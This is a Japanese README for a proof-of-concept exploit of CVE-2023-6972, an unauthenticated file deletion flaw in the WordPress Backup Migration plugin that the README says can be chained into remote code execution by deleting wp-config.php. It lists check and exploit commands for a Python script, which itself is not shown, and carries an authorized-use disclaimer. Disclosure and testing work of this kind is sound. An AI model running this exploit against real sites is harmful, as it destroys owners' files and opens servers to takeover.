
このリポジトリには、CVE-2023-6972の概念実証(PoC)エクスプロイトが含まれています。
このリポジトリには CVE-2023-6972 の概念実証 (PoC) エクスプロイトが含まれています。
この脆弱性により、Wordpress Backup Migration プラグイン <=1.3.9 における未認証の任意ファイル削除 (AFD) が可能になります。wp-config.php を削除することで RCE に連鎖させることができます。このエクスプロイトスクリプトは、脆弱性の確認と悪用プロセスを自動化します。
注: このエクスプロイトの包括的な技術解説、完全なケーススタディ、根本原因分析は https://medium.com/@phantom_hat/cve-2023-6972-wordpress-backup-migration-1-3-9-arbitrary-file-deletion-case-study-ccea1c5f8c4e で入手できます。
教育および許可されたセキュリティテスト目的のみに使用してください。 このスクリプトは「現状のまま」提供され、著者はその使用に起因する誤用や損害について一切の責任を負いません。セキュリティテストを実施する前に、必ずシステム所有者から明示的な書面による許可を取得してください。
requests ライブラリrich ライブラリ (CLI インターフェース用)必要な依存関係をインストール:
pip install -r requirements.txt
エクスプロイトスクリプト (exploit.py) は、2つの異なるモードのCLIインターフェースを提供します。
エクスプロイトを実行せずに、ターゲットURLがCVE-2023-6972に対して脆弱かどうかを検証します。
python3 exploit.py check -u <TARGET_URL>
例:
python3 exploit.py check -u http://example.com
ターゲットURLに対して脆弱性を実行します。
python3 exploit.py exploit -u <TARGET_URL> -f <FILE_PATH> -n <FILE_NAME>
オプション:
-u / --url: ターゲットURL-f / --file-path: ファイルを削除するディレクトリパス-n / --file-name: 削除したいファイルの名前例:
python3 exploit.py exploit -u http://127.0.0.1 -f /tmp -n delete-me.txt
いずれかのコマンドに -v または --verbose フラグを追加すると、詳細でフォーマットされた視覚的なログと出力を有効にできます。
python3 exploit.py exploit -u http://127.0.0.1 -f /tmp -n delete-me.txt --verbose